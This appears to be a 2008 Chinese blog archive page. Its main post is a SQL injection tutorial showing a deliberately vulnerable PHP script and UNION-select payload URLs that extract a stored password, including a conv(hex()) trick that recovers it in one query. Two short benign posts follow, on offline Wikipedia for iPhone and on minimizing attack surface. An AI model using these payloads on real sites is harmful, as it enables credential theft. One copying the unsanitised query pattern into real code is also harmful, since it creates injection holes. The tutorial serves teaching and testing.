2008年7月 的日志
Union查询小技巧
作者:toby57
相信大家在注入中没有少用联合查询吧,呵呵。的确union查询是很方便的,不用一个字符接一个字符的猜了,大大提高了生厂力,然而又因为它的条件要求很 多时候并不能完全满足,每每那个时候就只有看着注入点,嚎吼一声,带着满脸悲愤开始使用最原始的方法。当然,条件不允许我们也没有办法,然而有些时候却是 自己的马虎导致高效率的联合查询方法不被采用,这可不符合“三代表”中的“代表最先进的生产力”啊。以下要说到的就可能是其中一种情况。^_^(相信很多 朋友都已经知道了,只是我在网上没有看到吧,这儿提出来且当自己消遣自己,扯淡为主)
mysql> select * from test;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin888 |
+------+----------+----------+
1 row in set (0.03 sec)
test.php:
<?
$id=$_GET['id'];
$lnk = mysql_connect('localhost', 'root', 'root') or die ('Not connected : ' . mysql_error());
mysql_select_db('test', $lnk) or die ('Can\'t use foo : ' . mysql_error());
$query = "SELECT count(*) FROM test where id=$id";
$result = mysql_query($query);
while($result_row = mysql_fetch_row($result))
{
if(($result_row[0])&&is_numeric($result_row[0])){
echo $result_row[0];
}
}
?>
大家都知道在联合查询中不但前后列数要相等,类型也要一样。那么在这个注入点中,前一查询返回值类型应该是数字型,而我们要想用联合查询得到类型为text的password,应该怎么办呢?
其实我们可以先查出密码长度:
http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20length(password)%20from%20test%23
返回结果为8。OK,再来:
http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20ascii(mid(password,1,1))%20from%20test
返回的结果为password的第一位的ASCII码值,接下来将每一位都查出来就OK了。
然而其实我们有更方便的方法,嘿嘿,一次查询就够了。
我们提交:
http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20conv(hex(password),16,10)%20from%20test
返回7017854418938247224。转换为16进制为0x61646D696E383838,它就是“admin888”的十六制咯。哈,原理就不说了,相信大家都“昂第二是蛋的”了。
测试中不用conv函数转换一下类型会不匹配,汗,不知嘛原因。
Ok!扯淡完毕。
iPhone上的离线维基百科(附安装方法)
原帖见此。
Wiki2Touch:http://code.google.com/p/wiki2touch/
Wiki2Touch的界面截图:http://www.haukap.com/wiki2touch/
但是原帖写的很乱,我刚开始都没看懂什么意思。整理了下,说下我的安装方法(文章中的软件,工具及数据都是发日志时最新的,请自行查找更新的版本,我是在windows下做的):
1、到维基网页下载想安装的维基数据包 http://download.wikimedia.org/backup-index.html
中文维基是zhwiki,我下载的是08年6月25日的数据,也是目前最新的:
下载页面:http://download.wikimedia.org/zhwiki/20080625/
一般只需要pages-articles.xml.bz2就够了,直接下载地址:zhwiki-20080625-pages-articles.xml.bz2
阅读全文 »
关于minimize attack surface
BY:刺
最近看到又有老外讲到这一点,先扯扯我的体会。
minimize attack surface就是要尽量减少可能被攻击的点。
从战略上来讲,就是解决或者隐藏自己的弱点。
要做到这点,首先需要的就是一个好的架构。
好的架构,可以节省很多事情,从服务器部署方式,网络拓跋结构,使用什么语言,使用什么平台框架,使用什么DB,ACL如何做,如果统一发布、升级、回滚、监控。
阅读全文 »